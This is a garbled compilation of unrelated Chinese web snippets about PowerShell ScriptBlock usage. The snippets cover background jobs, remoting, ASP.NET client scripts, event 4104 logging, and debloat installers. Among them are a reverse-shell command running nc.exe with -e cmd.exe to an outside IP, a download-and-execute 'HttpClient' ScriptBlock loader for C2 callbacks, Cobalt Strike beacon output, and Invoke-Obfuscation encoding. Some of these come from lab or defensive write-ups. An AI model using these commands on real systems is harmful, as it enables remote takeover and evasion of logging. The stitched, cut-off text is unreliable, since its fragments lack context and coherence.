可以开启多个任务进行并行安装 等等 3.PowerShell里面怎么开启后台任务 (1)Start-Job 1 $StartJob = Start-Job -ScriptBlock Get-Process (2)Invoke-Command -AsJob 1 $InvokeCommandJob = Invoke-Command -ComputerName LocalHost -ScriptBlock {Sleep -Seconds 10} 3 #创建一个等待5s的后台任务 4 $WaitJob2 = Start-Job -ScriptBlock {Sleep -Seconds 15} 5 #等待两个 因为我们忽略了一个问题: ScriptBlock里面的参数都是需要参数传递进去的。 修改上面的代码: 1 $a = 1 2 $b = 2 3 $c = 0 4 $Job = Start-Job -ArgumentList $a,$b -ScriptBlock { 5
> public static void OpenWindowScript(Page pg,string url,string windowname) { string scriptBlock ; scriptBlock="<script language='javascript'>/n"+ "window.open("+"'"+url+"','"+"windowname width=400,height=400'"+");"+ "</script>"; pg.RegisterClientScriptBlock("OpenWindow",scriptBlock
System.Management.Automation.PSCredential($username, $password) Invoke-Command -ComputerName "119.45.173.154" -Credential $credentials -ScriptBlock System.Management.Automation.PSCredential($username, $password) Invoke-Command -ComputerName "119.45.173.154" -Credential $credentials -ScriptBlock System.Management.Automation.PSCredential($username, $password) 2.2 远程修改密码 通过Invoke-Command cmdlet,脚本远程连接到指定的服务器,并在ScriptBlock Invoke-Command -ComputerName "119.45.173.154" -Credential $credentials -ScriptBlock { # ... Invoke-Command -ComputerName "119.45.173.154" -Credential $credentials -ScriptBlock {ipconfig} 3.
New-Object System.Management.Automation.PSCredential("Administrator",$pass) Invoke-Command -Computer Sniper -ScriptBlock { whoami } -Credential $cred ###验证是否是正确的凭证 Invoke-Command -Computer Sniper -ScriptBlock { dir } -Credential $cred Invoke-Command -Computer Sniper -ScriptBlock { C:\ProgramData\nc.exe 10.10.15.64 9999 -e cmd.exe
$function = [scriptblock]::Create($code) & $function "World" 1.定义脚本代码字符串: $code = 'param($name) Write-Output 2.创建脚本块: $function = [scriptblock]::Create($code) 这一行使用ScriptBlock类的Create方法将之前定义的字符串$code转换成一个可执行的脚本块 [scriptblock]是 PowerShell 中用于定义一个代码块的类型,可以包含任意的 PowerShell 代码。这里,$function变量现在存储了一个可执行的脚本块。 应用场景 1.信息收集: $code = 'Get-Process | ConvertTo-Json' $function = [scriptblock]::Create($code) & $function Test-Connection -ComputerName 192.168.1.1 -Count 1 | Select-Object Address, ResponseTime' $function = [scriptblock
=[ScriptBlock]::Create($content);$scriptBlock.Invoke() (2) 文件落地执行上线 我们也可以将以上Powershell命令稍微改下,不直接执行Payload System.Net.Http); $content变量(GetAsync方法检索指定URL的HTTP响应,ReadAsStringAsync或ReadAsByteArrayAsync方法读取文件内容); scriptblock (New-Object System.Net.Http.HttpClient).GetAsync('URL').Result.Content.ReadAsStringAsync().Result; $scriptBlock =[ScriptBlock]::Create($content);$scriptBlock.Invoke() Add-Type -AssemblyName 'System.Net.Http'; $content view=net-7.0 https://learn.microsoft.com/zh-cn/dotnet/api/system.management.automation.scriptblock?
Password replace @ 00000000017DA1E8 (16) -> null beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami} [*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami} [+] host called beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami} [*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami} [+] host called home, sent: 203 bytes [+] received output: teamssix
输入set scriptblock ‘echo xss ‘ 这里输入要编码的powershell命令 然后输入ENCODING 就会列出以下几种编码方式 ? 输入1选择ascii编码 ? 我们也可以直接在ps的命令行中直接进行编码 Invoke-Obfuscation -ScriptBlock {echo xss} -Command ‘Encoding\1,Launcher\PS\67′
Page.IsPostBack) { string scriptBlock = @"<script language=""JavaScript""> <! ,smallclass[i][0]); ++j; } } } //--> </script> "; Page.RegisterClientScriptBlock(scriptKey, scriptBlock
PowerShell V5 PowerShell V5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志。 ,攻击者为了规避防护和日志记录进行了大量的代码混淆,在执行代码之前很难发现或确认这些代码实际上会做些什么事情,给攻击检测和取证造成了一定的困难,因此微软从PowerShell5.0开始加入了日志转储、ScriptBlock 日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的 PowerShell 代码的能力。 事件ID 关联 审计 笔记 4100 PowerShell遇到错误时记录 4103 ModuleLogging 执行管道 4104 ScriptBlockLogging 执行远程命令 创建Scriptblock
code] == "4104" and [winlog][event_data][MessageTotal] == "1" { clone { clones => ["powershell_scriptblock_reduction ("powershell_scriptblock_reduction" in [tags]) { mutate { update => { "[data_stream][namespace output { if "powershell_scriptblock_reduction" in [tags]{ elasticsearch { cloud_id => "..." = null && ctx.tags.contains('powershell_scriptblock_reduction') && ctx.powershell?.file?.
Users> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock Users> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock LAPS 密码: invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock
0x04 PowerShell v5 提供反混淆功能 PowerShell v5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志,有效的抵御之前的攻击手段 日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的 PowerShell 代码的能力。 由于脚本代码在执行之前需要进行反混淆处理,ScriptBLock日志就会在实际的代码传递到 PowerShell 引擎执行之前进行记录,所以在很多的集中化日志系统一旦捕捉到可疑的日志时就能够及时的进行告警 如下图所示,从补丁中的这段注释已经可以推测此漏洞的原理了,简单来说,就是空字符截断导致ScriptBlock日志对命令记录时发生了异常终止了记录。 ? PowerShell事件日志作为企业在此方面进行监测预警的重要数据支持必须充分发挥作用,建议企业用户保持PowerShell事件查看器处于最新版本,并启用ScriptBlock日志等功能来加强防御。
超时重启示例:执行一段代码超时指定时间没执行完则重启机器# 定义要执行的代码块$scriptBlock = { # 在这里放置您需要执行的代码 # 例如: Start-Sleep -Seconds 61 # 模拟长时间运行的任务(设置的超时60秒,这里模拟任务需要执行61秒)}# 启动后台作业$job = Start-Job -ScriptBlock $scriptBlock# 设置超时时间( $EnableNetFx3AndWMIC=@"# 定义要执行的代码块`$scriptBlock = { # 在这里放置您需要执行的代码 # 例如:模拟长时间运行的任务 #Start-Sleep Remove-Capability /CapabilityName:AzureArcSetup~~~~ 2>&1 >c:\AzureArcSetup.log.txt;}}# 启动后台作业`$job = Start-Job -ScriptBlock `$scriptBlock# 设置超时时间(30分钟)`$timeout = 30 * 60 # 秒# 等待作业完成或超时`$jobCompleted = Wait-Job -Job `$job -
将以下代码复制并粘贴到 PowerShell 中,按 Enter 运行脚本: & ([scriptblock]::Create((irm "https://win11debloat.raphi.re/" 示例: & ([scriptblock]::Create((irm "https://win11debloat.raphi.re/"))) -RunDefaults -Silent 传统方法 手动下载并运行脚本 DisableBing -Silent 实际演示 现在就用PowerShell演示 1.打开PowerShell 开始--->搜索PowerShell--->已管理员身份运行 2.执行命令 复制 & ([scriptblock
0x04 PowerShell v5 提供反混淆功能 PowerShell v5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志,有效的抵御之前的攻击手段 日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的 PowerShell 代码的能力。 由于脚本代码在执行之前需要进行反混淆处理,ScriptBLock日志就会在实际的代码传递到 PowerShell 引擎执行之前进行记录,所以在很多的集中化日志系统一旦捕捉到可疑的日志时就能够及时的进行告警 如下图所示,从补丁中的这段注释已经可以推测此漏洞的原理了,简单来说,就是空字符截断导致ScriptBlock日志对命令记录时发生了异常终止了记录。 PowerShell事件日志作为企业在此方面进行监测预警的重要数据支持必须充分发挥作用,建议企业用户保持PowerShell事件查看器处于最新版本,并启用ScriptBlock日志等功能来加强防御。
Ctrl+a" -Function BeginningOfLine # 设置 Ctrl+a 为光标到行首 Set-PSReadLineKeyHandler -Key UpArrow -ScriptBlock Microsoft.PowerShell.PSConsoleReadLine]::EndOfLine() # 设置后向搜索历史记录时光标在行尾 } Set-PSReadLineKeyHandler -Key DownArrow -ScriptBlock
将以下代码复制并粘贴到 powershell 中,按 Enter 运行脚本: & ([scriptblock]::Create((irm "https://raw.githubusercontent.com 示例: & ([scriptblock]::Create((irm "https://raw.githubusercontent.com/Raphire/Win11Debloat/master/Get.ps1
因此,如果您启用了Module&ScriptBlock 日志记录并且至少安装了最新的 PS v4,那么你会认为 powershell 的事件日志中记录了基本脚本的活动记录。 根据上面的描述,我们将主机做如下配置: 1、安装了 powershell v5.1 2、启用日志模块 3、启用 ScriptBlock 日志模块 这就完美了吗? 当我们需要从多个系统上卸载 powershell V2 时,我们可以使用 Invoke-Command命令来卸载远程主机的 powershell V2: Invoke-Command -Computer WKS1 -ScriptBlock 你也可以指定多个主机,使用逗号隔开,命令如下: Invoke-Command -Computer WKS1,WKS2,WKS3 -ScriptBlock { Disable-WindowsOptionalFeature
释放和续订 DHCP 租约 Invoke-Command -ComputerName -ScriptBlock {ipconfig /release} Invoke-Command -ComputerName -ScriptBlock {ipconfig /renew} 虽然 PowerShell 包含许多用于管理网络设置的 cmdlet,但没有直接的方法可以释放/续订 DHCP 租约,除非先引用另一个